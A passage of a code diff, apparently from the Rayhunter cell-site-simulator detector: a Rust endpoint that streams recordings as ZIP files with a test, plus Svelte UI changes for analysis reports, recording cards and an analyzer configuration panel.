||||
StatusCode::INTERNAL_SERVER_ERROR,
|
||||
"couldn't send restart signal".to_string(),
|
||||
)
|
||||
})?;
|
||||
Ok((
|
||||
StatusCode::ACCEPTED,
|
||||
"wrote config and triggered restart".to_string(),
|
||||
))
|
||||
} else {
|
||||
Ok((
|
||||
StatusCode::ACCEPTED,
|
||||
"wrote config but restart already triggered".to_string(),
|
||||
))
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn get_zip(
|
||||
State(state): State<Arc<ServerState>>,
|
||||
Path(entry_name): Path<String>,
|
||||
) -> Result<Response, (StatusCode, String)> {
|
||||
let qmdl_idx = entry_name.trim_end_matches(".zip").to_owned();
|
||||
let (entry_index, qmdl_size_bytes) = {
|
||||
let qmdl_store = state.qmdl_store_lock.read().await;
|
||||
let (entry_index, entry) = qmdl_store.entry_for_name(&qmdl_idx).ok_or((
|
||||
StatusCode::NOT_FOUND,
|
||||
format!("couldn't find entry with name {}", qmdl_idx),
|
||||
))?;
|
||||
|
||||
if entry.qmdl_size_bytes == 0 {
|
||||
return Err((
|
||||
StatusCode::SERVICE_UNAVAILABLE,
|
||||
"QMDL file is empty, try again in a bit!".to_string(),
|
||||
));
|
||||
}
|
||||
|
||||
(entry_index, entry.qmdl_size_bytes)
|
||||
};
|
||||
|
||||
let qmdl_store_lock = state.qmdl_store_lock.clone();
|
||||
|
||||
let (reader, writer) = duplex(8192);
|
||||
|
||||
tokio::spawn(async move {
|
||||
let result: Result<(), Error> = async {
|
||||
let mut zip = ZipFileWriter::with_tokio(writer);
|
||||
|
||||
// Add QMDL file
|
||||
{
|
||||
let entry =
|
||||
ZipEntryBuilder::new(format!("{qmdl_idx}.qmdl").into(), Compression::Stored);
|
||||
// FuturesAsyncWriteCompatExt::compat_write because async-zip's entrystream does
|
||||
// not impl tokio's AsyncWrite, but only future's AsyncWrite. This can be removed
|
||||
// once https://github.com/Majored/rs-async-zip/pull/160 is released.
|
||||
let mut entry_writer = zip.write_entry_stream(entry).await?.compat_write();
|
||||
|
||||
let mut qmdl_file = {
|
||||
let qmdl_store = qmdl_store_lock.read().await;
|
||||
qmdl_store
|
||||
.open_entry_qmdl(entry_index)
|
||||
.await?
|
||||
.take(qmdl_size_bytes as u64)
|
||||
};
|
||||
|
||||
copy(&mut qmdl_file, &mut entry_writer).await?;
|
||||
entry_writer.into_inner().close().await?;
|
||||
}
|
||||
|
||||
// Add PCAP file
|
||||
{
|
||||
let entry =
|
||||
ZipEntryBuilder::new(format!("{qmdl_idx}.pcapng").into(), Compression::Stored);
|
||||
let mut entry_writer = zip.write_entry_stream(entry).await?.compat_write();
|
||||
|
||||
let qmdl_file_for_pcap = {
|
||||
let qmdl_store = qmdl_store_lock.read().await;
|
||||
qmdl_store
|
||||
.open_entry_qmdl(entry_index)
|
||||
.await?
|
||||
.take(qmdl_size_bytes as u64)
|
||||
};
|
||||
|
||||
if let Err(e) =
|
||||
generate_pcap_data(&mut entry_writer, qmdl_file_for_pcap, qmdl_size_bytes).await
|
||||
{
|
||||
// if we fail to generate the PCAP file, we should still continue and give the
|
||||
// user the QMDL.
|
||||
error!("Failed to generate PCAP: {:?}", e);
|
||||
}
|
||||
|
||||
entry_writer.into_inner().close().await?;
|
||||
}
|
||||
|
||||
zip.close().await?;
|
||||
Ok(())
|
||||
}
|
||||
.await;
|
||||
|
||||
if let Err(e) = result {
|
||||
error!("Error generating ZIP file: {:?}", e);
|
||||
}
|
||||
});
|
||||
|
||||
let headers = [(CONTENT_TYPE, "application/zip")];
|
||||
let body = Body::from_stream(ReaderStream::new(reader));
|
||||
Ok((headers, body).into_response())
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use async_zip::base::read::mem::ZipFileReader;
|
||||
use axum::extract::{Path, State};
|
||||
use tempfile::TempDir;
|
||||
|
||||
async fn create_test_qmdl_store() -> (TempDir, Arc<RwLock<crate::qmdl_store::RecordingStore>>) {
|
||||
let temp_dir = TempDir::new().unwrap();
|
||||
let store_path = temp_dir.path().to_path_buf();
|
||||
let store = crate::qmdl_store::RecordingStore::create(&store_path)
|
||||
.await
|
||||
.unwrap();
|
||||
(temp_dir, Arc::new(RwLock::new(store)))
|
||||
}
|
||||
|
||||
async fn create_test_entry_with_data(
|
||||
store_lock: &Arc<RwLock<crate::qmdl_store::RecordingStore>>,
|
||||
test_data: &[u8],
|
||||
) -> String {
|
||||
let entry_name = {
|
||||
let mut store = store_lock.write().await;
|
||||
let (mut qmdl_file, _analysis_file) = store.new_entry().await.unwrap();
|
||||
|
||||
if !test_data.is_empty() {
|
||||
use tokio::io::AsyncWriteExt;
|
||||
qmdl_file.write_all(test_data).await.unwrap();
|
||||
qmdl_file.flush().await.unwrap();
|
||||
}
|
||||
|
||||
let current_entry = store.current_entry.unwrap();
|
||||
let entry = &store.manifest.entries[current_entry];
|
||||
let entry_name = entry.name.clone();
|
||||
|
||||
store
|
||||
.update_entry_qmdl_size(current_entry, test_data.len())
|
||||
.await
|
||||
.unwrap();
|
||||
entry_name
|
||||
};
|
||||
|
||||
let mut store = store_lock.write().await;
|
||||
store.close_current_entry().await.unwrap();
|
||||
entry_name
|
||||
}
|
||||
|
||||
fn create_test_server_state(
|
||||
store_lock: Arc<RwLock<crate::qmdl_store::RecordingStore>>,
|
||||
) -> Arc<ServerState> {
|
||||
let (tx, _rx) = tokio::sync::mpsc::channel(1);
|
||||
let (ui_tx, _ui_rx) = tokio::sync::mpsc::channel(1);
|
||||
let (analysis_tx, _analysis_rx) = tokio::sync::mpsc::channel(1);
|
||||
|
||||
let analysis_status = {
|
||||
let store = store_lock.try_read().unwrap();
|
||||
crate::analysis::AnalysisStatus::new(&*store)
|
||||
};
|
||||
|
||||
Arc::new(ServerState {
|
||||
config_path: "/tmp/test_config.toml".to_string(),
|
||||
config: Config::default(),
|
||||
qmdl_store_lock: store_lock,
|
||||
diag_device_ctrl_sender: tx,
|
||||
ui_update_sender: ui_tx,
|
||||
analysis_status_lock: Arc::new(RwLock::new(analysis_status)),
|
||||
analysis_sender: analysis_tx,
|
||||
daemon_restart_tx: Arc::new(RwLock::new(None)),
|
||||
})
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_get_zip_success() {
|
||||
let (_temp_dir, store_lock) = create_test_qmdl_store().await;
|
||||
let test_qmdl_data = vec![0x7E, 0x00, 0x00, 0x00, 0x10, 0x00, 0x7E];
|
||||
let entry_name = create_test_entry_with_data(&store_lock, &test_qmdl_data).await;
|
||||
let state = create_test_server_state(store_lock);
|
||||
|
||||
let result = get_zip(State(state), Path(entry_name.clone())).await;
|
||||
|
||||
assert!(result.is_ok());
|
||||
let response = result.unwrap();
|
||||
|
||||
let headers = response.headers();
|
||||
assert_eq!(headers.get("content-type").unwrap(), "application/zip");
|
||||
|
||||
let body = response.into_body();
|
||||
let body_bytes = axum::body::to_bytes(body, usize::MAX).await.unwrap();
|
||||
|
||||
let zip_reader = ZipFileReader::new(body_bytes.to_vec()).await.unwrap();
|
||||
|
||||
let filenames = zip_reader
|
||||
.file()
|
||||
.entries()
|
||||
.iter()
|
||||
.map(|entry| entry.filename().as_str().unwrap().to_owned())
|
||||
.collect::<Vec<String>>();
|
||||
|
||||
assert_eq!(
|
||||
filenames,
|
||||
vec![format!("{entry_name}.qmdl"), format!("{entry_name}.pcapng"),]
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,6 +7,6 @@
|
||||
%sveltekit.head%
|
||||
</head>
|
||||
<body data-sveltekit-preload-data="hover">
|
||||
<div style="display: contents">%sveltekit.body%</div>
|
||||
<div style="display: contents" class="m-4 xl:m-8">%sveltekit.body%</div>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -72,7 +72,7 @@ export function parse_finished_report(report_json: NewlineDeliminatedJson): Anal
|
||||
const events: Event[] = analysis_json.events.map((event_json: any): Event | null => {
|
||||
if (event_json === null) {
|
||||
return null;
|
||||
} else if (event_json.event_type === "Informational") {
|
||||
} else if (event_json.event_type.type === "Informational") {
|
||||
num_informational_logs += 1;
|
||||
return {
|
||||
type: EventType.Informational,
|
||||
@@ -82,8 +82,8 @@ export function parse_finished_report(report_json: NewlineDeliminatedJson): Anal
|
||||
num_warnings += 1;
|
||||
return {
|
||||
type: EventType.Warning,
|
||||
severity: event_json.severity === "High" ? Severity.High :
|
||||
event_json.severity === "Medium" ? Severity.Medium : Severity.Low,
|
||||
severity: event_json.event_type.severity === "High" ? Severity.High :
|
||||
event_json.event_type.severity === "Medium" ? Severity.Medium : Severity.Low,
|
||||
message: event_json.message,
|
||||
};
|
||||
}
|
||||
|
||||
@@ -2,9 +2,10 @@
|
||||
import { AnalysisStatus } from "$lib/analysisManager.svelte";
|
||||
import { EventType } from "$lib/analysis.svelte";
|
||||
import type { ManifestEntry } from "$lib/manifest.svelte";
|
||||
let { entry, onclick }: {
|
||||
let { entry, onclick, analysis_visible}: {
|
||||
entry: ManifestEntry,
|
||||
onclick: () => void,
|
||||
analysis_visible: boolean,
|
||||
} = $props();
|
||||
|
||||
let summary = $derived.by(() => {
|
||||
@@ -41,12 +42,11 @@
|
||||
return finished && report_available;
|
||||
})
|
||||
|
||||
let button_class = $derived(ready ? "text-blue-600 underline" : '');
|
||||
let button_class = $derived(ready ? "text-blue-600 border rounded-full px-2" : '');
|
||||
</script>
|
||||
|
||||
<button class={button_class} disabled={!ready} {onclick}>
|
||||
{summary}
|
||||
</button>
|
||||
|
||||
<style>
|
||||
</style>
|
||||
<button class="flex flex-row gap-1 lg:gap-2" disabled={!ready} {onclick}>
|
||||
<span class="{button_class} {entry.get_num_warnings() < 1 ? 'text-green-700 border-green-500 bg-green-200' : 'text-red-700 border-red-500 bg-red-200'}">{summary}</span>
|
||||
<svg class="w-6 h-6 text-gray-800 transition-transform {analysis_visible ? 'rotate-180' : ''}" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" viewBox="0 0 24 24">
|
||||
<path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="m19 9-7 7-7-7"/>
|
||||
</svg>
|
||||
</button>
|
||||
@@ -25,60 +25,63 @@
|
||||
return map;
|
||||
});
|
||||
</script>
|
||||
|
||||
<p class="text-lg underline">Warnings and Informational Logs</p>
|
||||
{#if report.statistics.num_warnings === 0 && report.statistics.num_informational_logs === 0}
|
||||
<p>Nothing to show!</p>
|
||||
{:else}
|
||||
<table class="table-auto text-left border">
|
||||
<thead class="p-2">
|
||||
<tr class="bg-gray-300">
|
||||
<th scope="col">Timestamp</th>
|
||||
<th scope="col">Warning</th>
|
||||
<th scope="col">Severity</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{#each report.rows as row, row_idx}
|
||||
{#each row.analysis as analysis}
|
||||
{@const parsed_date = new Date(analysis.timestamp)}
|
||||
{#each analysis.events.filter(e => e !== null) as event}
|
||||
<tr class="even:bg-gray-200 border-b">
|
||||
{#if event.type === EventType.Warning}
|
||||
<div>
|
||||
<p class="text-lg underline">Warnings and Informational Logs</p>
|
||||
{#if report.statistics.num_warnings === 0 && report.statistics.num_informational_logs === 0}
|
||||
<p>Nothing to show!</p>
|
||||
{:else}
|
||||
<table class="table-auto text-left">
|
||||
<thead class="p-2">
|
||||
<tr class="bg-gray-300">
|
||||
<th class="p-2">Timestamp</th>
|
||||
<th class="p-2">Warning</th>
|
||||
<th class="p-2">Severity</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{#each report.rows as row, row_idx}
|
||||
{#each row.analysis as analysis}
|
||||
{@const parsed_date = new Date(analysis.timestamp)}
|
||||
{#each analysis.events.filter(e => e !== null) as event}
|
||||
<tr class="even:bg-gray-200 odd:bg-white">
|
||||
{#if event.type === EventType.Warning}
|
||||
{@const severity = ['Low', 'Medium', 'High'][event.severity]}
|
||||
{@const severity_class = ['bg-red-200', 'bg-red-400', 'bg-red-600'][event.severity]}
|
||||
<th class="p-2">{date_formatter.format(parsed_date)}</th>
|
||||
<td class="p-2">{event.message}</td>
|
||||
<td class="p-2 {severity_class}">{severity}</td>
|
||||
{:else if event.type === EventType.Informational}
|
||||
<th class="p-2">{date_formatter.format(parsed_date)}</th>
|
||||
<td class="p-2">{event.message}</td>
|
||||
<td class="p-2">Info</td>
|
||||
{/if}
|
||||
</tr>
|
||||
{@const severity_class = ['bg-red-200', 'bg-red-400', 'bg-red-600'][event.severity]}
|
||||
<td class="p-2">{date_formatter.format(parsed_date)}</td>
|
||||
<td class="p-2">{event.message}</td>
|
||||
<td class="p-2 {severity_class} text-center">{severity}</td>
|
||||
{:else if event.type === EventType.Informational}
|
||||
<td class="p-2">{date_formatter.format(parsed_date)}</td>
|
||||
<td class="p-2">{event.message}</td>
|
||||
<td class="p-2">Info</td>
|
||||
{/if}
|
||||
</tr>
|
||||
{/each}
|
||||
{/each}
|
||||
{/each}
|
||||
{/each}
|
||||
</tbody>
|
||||
</table>
|
||||
{/if}
|
||||
</tbody>
|
||||
</table>
|
||||
{/if}
|
||||
</div>
|
||||
{#if report.statistics.num_skipped_packets > 0}
|
||||
<div>
|
||||
<p class="text-lg underline">Unparsed Messages</p>
|
||||
<p>These are due to a limitation or bug in Rayhunter's parser, and aren't ususally a problem.</p>
|
||||
<table class="table-auto text-left border">
|
||||
<table class="table-auto text-left">
|
||||
<thead class="p-2">
|
||||
<tr class="bg-gray-300">
|
||||
<th scope="col"># of messages affected</th>
|
||||
<th scope="col" class="p-2">Total Msgs Affected</th>
|
||||
<th scope="col">Reason/Error</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{#each skipped_messages.entries() as [message, count]}
|
||||
<tr class="even:bg-gray-200 border-b">
|
||||
<td>{count}</td>
|
||||
<tr class="even:bg-gray-200 odd:bg-white">
|
||||
<td class="text-center">{count}</td>
|
||||
<td>{message}</td>
|
||||
</tr>
|
||||
{/each}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
@@ -13,32 +13,34 @@
|
||||
});
|
||||
</script>
|
||||
|
||||
<div class="container max-h-96 overflow-auto">
|
||||
<div class="container mt-2">
|
||||
{#if entry.analysis_report === undefined}
|
||||
<p>Report unavailable, try refreshing.</p>
|
||||
{:else if typeof(entry.analysis_report) === 'string'}
|
||||
<p>Error getting analysis report: {entry.analysis_report}</p>
|
||||
{:else}
|
||||
{@const metadata: ReportMetadata = entry.analysis_report.metadata}
|
||||
<div class="flex flex-col pl-2 pr-10 w-full">
|
||||
<div class="flex flex-col gap-2">
|
||||
{#if entry.analysis_report.rows.length > 0}
|
||||
<AnalysisTable report={entry.analysis_report} />
|
||||
{:else}
|
||||
<p>No warnings to display!</p>
|
||||
{/if}
|
||||
{#if metadata !== undefined && metadata.rayhunter !== undefined}
|
||||
<div>
|
||||
<p class="text-lg underline">Metadata</p>
|
||||
{#if metadata !== undefined && metadata.rayhunter !== undefined}
|
||||
<p>Analysis by Rayhunter version {metadata.rayhunter.rayhunter_version}</p>
|
||||
<p><b>Device system OS:</b> {metadata.rayhunter.system_os}</p>
|
||||
<p class="text-lg underline">Analyzers</p>
|
||||
{#each metadata.analyzers as analyzer}
|
||||
<p><b>{analyzer.name}:</b> {analyzer.description}</p>
|
||||
{/each}
|
||||
{:else}
|
||||
<p>N/A (analysis generated by an older version of rayhunter)</p>
|
||||
{/if}
|
||||
<p>Analysis by Rayhunter version {metadata.rayhunter.rayhunter_version}</p>
|
||||
<p><b>Device system OS:</b> {metadata.rayhunter.system_os}</p>
|
||||
</div>
|
||||
<div>
|
||||
<p class="text-lg underline">Analyzers</p>
|
||||
{#each metadata.analyzers as analyzer}
|
||||
<p><b>{analyzer.name}:</b> {analyzer.description}</p>
|
||||
{/each}
|
||||
</div>
|
||||
{:else}
|
||||
<p>N/A (analysis generated by an older version of rayhunter)</p>
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
|
||||
@@ -0,0 +1,194 @@
|
||||
<script lang="ts">
|
||||
import { get_config, set_config, type Config } from '../utils.svelte';
|
||||
|
||||
let config = $state<Config | null>(null);
|
||||
|
||||
let loading = $state(false);
|
||||
let saving = $state(false);
|
||||
let message = $state("");
|
||||
let messageType = $state<"success" | "error" | null>(null);
|
||||
let showConfig = $state(false);
|
||||
|
||||
async function loadConfig() {
|
||||
try {
|
||||
loading = true;
|
||||
config = await get_config();
|
||||
message = "";
|
||||
messageType = null;
|
||||
} catch (error) {
|
||||
message = `Failed to load config: ${error}`;
|
||||
messageType = "error";
|
||||
} finally {
|
||||
loading = false;
|
||||
}
|
||||
}
|
||||
|
||||
async function saveConfig() {
|
||||
if (!config) return;
|
||||
|
||||
try {
|
||||
saving = true;
|
||||
await set_config(config);
|
||||
message = "Config saved successfully! Rayhunter is restarting now. Reload the page in a few seconds.";
|
||||
messageType = "success";
|
||||
} catch (error) {
|
||||
message = `Failed to save config: ${error}`;
|
||||
messageType = "error";
|
||||
} finally {
|
||||
saving = false;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// Load config when first shown
|
||||
$effect(() => {
|
||||
if (showConfig && !config) {
|
||||
loadConfig();
|
||||
}
|
||||
});
|
||||
</script>
|
||||
|
||||
<div class="bg-white rounded-lg shadow-md p-6 m-4">
|
||||
<button
|
||||
class="w-full flex justify-between items-center text-xl font-bold mb-4 text-rayhunter-dark-blue hover:text-rayhunter-blue"
|
||||
onclick={() => showConfig = !showConfig}
|
||||
>
|
||||
<span>Configuration</span>
|
||||
<svg class="w-6 h-6 transition-transform {showConfig ? 'rotate-180' : ''}" fill="none" stroke="currentColor" viewBox="0 0 24 24">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 9l-7 7-7-7"></path>
|
||||
</svg>
|
||||
</button>
|
||||
|
||||
{#if showConfig}
|
||||
{#if loading}
|
||||
<div class="text-center py-4">Loading config...</div>
|
||||
{:else if config}
|
||||
<form class="space-y-4" onsubmit={(e) => { e.preventDefault(); saveConfig(); }}>
|
||||
<div>
|
||||
<label for="ui_level" class="block text-sm font-medium text-gray-700 mb-1">
|
||||
Device UI Level
|
||||
</label>
|
||||
<select
|
||||
id="ui_level"
|
||||
bind:value={config.ui_level}
|
||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
|
||||
>
|
||||
<option value={0}>0 - Invisible mode</option>
|
||||
<option value={1}>1 - Subtle mode (colored line)</option>
|
||||
<option value={2}>2 - Demo mode (orca gif)</option>
|
||||
<option value={3}>3 - EFF logo</option>
|
||||
</select>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<label for="key_input_mode" class="block text-sm font-medium text-gray-700 mb-1">
|
||||
Device Input Mode
|
||||
</label>
|
||||
<select
|
||||
id="key_input_mode"
|
||||
bind:value={config.key_input_mode}
|
||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
|
||||
>
|
||||
<option value={0}>0 - Disable button control</option>
|
||||
<option value={1}>1 - Double-tap power button to start/stop recording</option>
|
||||
</select>
|
||||
</div>
|
||||
|
||||
<div class="space-y-3">
|
||||
<div class="flex items-center">
|
||||
<input
|
||||
id="colorblind_mode"
|
||||
type="checkbox"
|
||||
bind:checked={config.colorblind_mode}
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
|
||||
/>
|
||||
<label for="colorblind_mode" class="ml-2 block text-sm text-gray-700">
|
||||
Colorblind Mode
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="border-t pt-4 mt-6">
|
||||
<h3 class="text-lg font-semibold text-gray-800 mb-4">Analyzer Heuristic Settings</h3>
|
||||
<div class="space-y-3">
|
||||
<div class="flex items-center">
|
||||
<input
|
||||
id="imsi_requested"
|
||||
type="checkbox"
|
||||
bind:checked={config.analyzers.imsi_requested}
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
|
||||
/>
|
||||
<label for="imsi_requested" class="ml-2 block text-sm text-gray-700">
|
||||
IMSI Requested Heuristic
|
||||
</label>
|
||||
</div>
|
||||
|
||||
<div class="flex items-center">
|
||||
<input
|
||||
id="connection_redirect_2g_downgrade"
|
||||
type="checkbox"
|
||||
bind:checked={config.analyzers.connection_redirect_2g_downgrade}
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
|
||||
/>
|
||||
<label for="connection_redirect_2g_downgrade" class="ml-2 block text-sm text-gray-700">
|
||||
Connection Redirect 2G Downgrade Heuristic
|
||||
</label>
|
||||
</div>
|
||||
|
||||
<div class="flex items-center">
|
||||
<input
|
||||
id="lte_sib6_and_7_downgrade"
|
||||
type="checkbox"
|
||||
bind:checked={config.analyzers.lte_sib6_and_7_downgrade}
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
|
||||
/>
|
||||
<label for="lte_sib6_and_7_downgrade" class="ml-2 block text-sm text-gray-700">
|
||||
LTE SIB6 and SIB7 Downgrade Heuristic
|
||||
</label>
|
||||
</div>
|
||||
|
||||
<div class="flex items-center">
|
||||
<input
|
||||
id="null_cipher"
|
||||
type="checkbox"
|
||||
bind:checked={config.analyzers.null_cipher}
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
|
||||
/>
|
||||
<label for="null_cipher" class="ml-2 block text-sm text-gray-700">
|
||||
Null Cipher Heuristic
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="flex gap-2 pt-4">
|
||||
<button
|
||||
type="submit"
|
||||
disabled={saving}
|
||||
class="bg-blue-500 hover:bg-blue-700 disabled:opacity-50 text-white font-bold py-2 px-4 rounded-md flex flex-row gap-1 items-center"
|
||||
>
|
||||
{#if saving}
|
||||
<div class="w-4 h-4 border-2 border-white border-t-transparent rounded-full animate-spin"></div>
|
||||
Saving...
|
||||
{:else}
|
||||
<svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
|
||||
</svg>
|
||||
Apply and restart
|
||||
{/if}
|
||||
</button>
|
||||
|
||||
</div>
|
||||
</form>
|
||||
{#if message}
|
||||
<div class="mt-4 p-3 rounded {messageType === 'error' ? 'bg-red-100 text-red-700' : 'bg-green-100 text-green-700'}">
|
||||
{message}
|
||||
</div>
|
||||
{/if}
|
||||
{:else}
|
||||
<div class="text-center py-4 text-red-600">
|
||||
Failed to load configuration. Please try reloading the page.
|
||||
</div>
|
||||
{/if}
|
||||
{/if}
|
||||
</div>
|
||||
@@ -1,23 +0,0 @@
|
||||
<script lang="ts">
|
||||
import { req } from "$lib/utils.svelte";
|
||||
import DeleteButton from "./DeleteButton.svelte";
|
||||
import RecordingControls from "./RecordingControls.svelte";
|
||||
let { server_is_recording }: {
|
||||
server_is_recording: boolean;
|
||||
} = $props();
|
||||
|
||||
function confirmDelete() {
|
||||
if (window.confirm(`Permanently delete ALL entries?`)) {
|
||||
req('POST', '/api/delete-all-recordings')
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
||||
<div class="flex flex-row gap-2">
|
||||
<RecordingControls {server_is_recording} />
|
||||
<DeleteButton
|
||||
text="Delete ALL Entries"
|
||||
prompt={`Are you sure you want to delete ALL entries?`}
|
||||
url={`/api/delete-all-recordings`}
|
||||
/>
|
||||
</div>
|
||||
@@ -0,0 +1,18 @@
|
||||
<script lang="ts">
|
||||
import { req } from "$lib/utils.svelte";
|
||||
import DeleteButton from "./DeleteButton.svelte";
|
||||
|
||||
function confirmDelete() {
|
||||
if (window.confirm(`Permanently delete ALL recordings?`)) {
|
||||
req('POST', '/api/delete-all-recordings')
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
||||
<div class="flex flex-row justify-end gap-2">
|
||||
<DeleteButton
|
||||
text="Delete ALL Recordings"
|
||||
prompt={`Are you sure you want to delete ALL recordings?`}
|
||||
url={`/api/delete-all-recordings`}
|
||||
/>
|
||||
</div>
|
||||
@@ -1,7 +1,8 @@
|
||||
<script lang="ts">
|
||||
let { url, text }: {
|
||||
let { url, text, full_button=false }: {
|
||||
url: string;
|
||||
text: string;
|
||||
full_button?: boolean;
|
||||
} = $props();
|
||||
|
||||
function download() {
|
||||
@@ -9,8 +10,9 @@
|
||||
}
|
||||
</script>
|
||||
|
||||
<button class="text-blue-600 flex flex-row underline" onclick={download}>
|
||||
{text} <svg class="fill-current w-4 h-4 m-1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20">
|
||||
<button class="flex flex-row {full_button ? 'bg-blue-500 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded-md' : 'text-blue-600 underline'}" onclick={download}>
|
||||
{text}
|
||||
<svg class="fill-current w-4 h-4 m-1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20">
|
||||
<path d="M13 8V2H7v6H2l8 8 8-8h-5zM0 18h20v2H0v-2z"/>
|
||||
</svg>
|
||||
</button>
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
<script lang="ts">
|
||||
import { ManifestEntry } from "$lib/manifest.svelte";
|
||||
import DownloadLink from '$lib/components/DownloadLink.svelte';
|
||||
import DeleteButton from "$lib/components/DeleteButton.svelte";
|
||||
import AnalysisStatus from "./AnalysisStatus.svelte";
|
||||
import AnalysisView from "./AnalysisView.svelte";
|
||||
import RecordingControls from "./RecordingControls.svelte";
|
||||
let { entry, current, i, server_is_recording }: {
|
||||
entry: ManifestEntry;
|
||||
current: boolean;
|
||||
i: number;
|
||||
server_is_recording: boolean;
|
||||
} = $props();
|
||||
|
||||
// passing `undefined` as the locale uses the browser default
|
||||
const date_formatter = new Intl.DateTimeFormat(undefined, {
|
||||
timeStyle: "long",
|
||||
dateStyle: "short",
|
||||
});
|
||||
let status_row_color = $derived.by(() => {
|
||||
const num_warnings = entry.get_num_warnings();
|
||||
if (num_warnings !== undefined && num_warnings > 0) {
|
||||
return "bg-red-100";
|
||||
}
|
||||
return current ? "bg-green-100" : "bg-gray-100"
|
||||
});
|
||||
let status_border_color = $derived.by(() => {
|
||||
const num_warnings = entry.get_num_warnings();
|
||||
if (num_warnings !== undefined && num_warnings > 0) {
|
||||
return "border-red-100";
|
||||
}
|
||||
return current ? "border-green-100" : "border-gray-100"
|
||||
});
|
||||
let analysis_visible = $state(false);
|
||||
function toggle_analysis_visibility() {
|
||||
analysis_visible = !analysis_visible;
|
||||
}
|
||||
</script>
|
||||
<div class="{status_row_color} {status_border_color} drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1">
|
||||
{#if current}
|
||||
<div class="flex flex-row justify-between gap-2">
|
||||
<span class="text-xl mb-2">Current Recording</span>
|
||||
<span class=""><AnalysisStatus onclick={toggle_analysis_visibility} entry={entry} analysis_visible={analysis_visible}/></span>
|
||||
</div>
|
||||
{/if}
|
||||
<div class="flex flex-col">
|
||||
<div class="flex flex-row justify-between">
|
||||
<span class="font-bold">ID: {entry.name}</span>
|
||||
{#if !current}
|
||||
<span class=""><AnalysisStatus onclick={toggle_analysis_visibility} entry={entry} analysis_visible={analysis_visible}/></span>
|
||||
{/if}
|
||||
</div>
|
||||
<span class="">{entry.get_readable_qmdl_size()}</span>
|
||||
</div>
|
||||
<div class="flex flex-col">
|
||||
<span class="">Start: {date_formatter.format(entry.start_time)}</span>
|
||||
<span class="">Last Message: {entry.last_message_time && date_formatter.format(entry.last_message_time) || "N/A"}</span>
|
||||
</div>
|
||||
<div class="flex flex-row justify-between lg:justify-end gap-2 mt-2">
|
||||
<DownloadLink url={entry.get_pcap_url()} text="pcap" full_button=true />
|
||||
<DownloadLink url={entry.get_qmdl_url()} text="qmdl" full_button=true />
|
||||
<DownloadLink url={entry.get_zip_url()} text="zip" full_button=true />
|
||||
{#if current}
|
||||
<RecordingControls {server_is_recording} />
|
||||
{:else}
|
||||
<DeleteButton
|
||||
prompt={`Are you sure you want to delete entry ${entry.name}?`}
|
||||
url={entry.get_delete_url()}
|
||||
/>
|
||||
{/if}
|
||||
</div>
|
||||
<div class="border-b {analysis_visible ? '' : 'hidden'}">
|
||||
<AnalysisView {entry} />
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,32 +1,38 @@
|
||||
<script lang="ts">
|
||||
import { Manifest, ManifestEntry } from "$lib/manifest.svelte";
|
||||
import TableRow from "./ManifestTableRow.svelte";
|
||||
import Card from "./ManifestCard.svelte"
|
||||
interface Props {
|
||||
entries: ManifestEntry[];
|
||||
current_entry: ManifestEntry | undefined;
|
||||
server_is_recording: boolean;
|
||||
}
|
||||
let { entries, current_entry }: Props = $props();
|
||||
let { entries, server_is_recording }: Props = $props();
|
||||
</script>
|
||||
|
||||
<table class="table-auto text-left border">
|
||||
<thead class="p-2">
|
||||
<tr class="bg-gray-300">
|
||||
<th class='p-2' scope="col">Name</th>
|
||||
<th class='p-2' scope="col">Date Started</th>
|
||||
<th class='p-2' scope="col">Date of Last Message</th>
|
||||
<th class='p-2' scope="col">Size (bytes)</th>
|
||||
<!--For larger screens we use a table-->
|
||||
<table class="hidden table-auto text-left lg:table">
|
||||
<thead>
|
||||
<tr class="bg-gray-100 drop-shadow">
|
||||
<th class='p-2' scope="col">ID</th>
|
||||
<th class='p-2' scope="col">Started</th>
|
||||
<th class='p-2' scope="col">Last Message</th>
|
||||
<th class='p-2' scope="col">Size</th>
|
||||
<th class='p-2' scope="col">PCAP</th>
|
||||
<th class='p-2' scope="col">QMDL</th>
|
||||
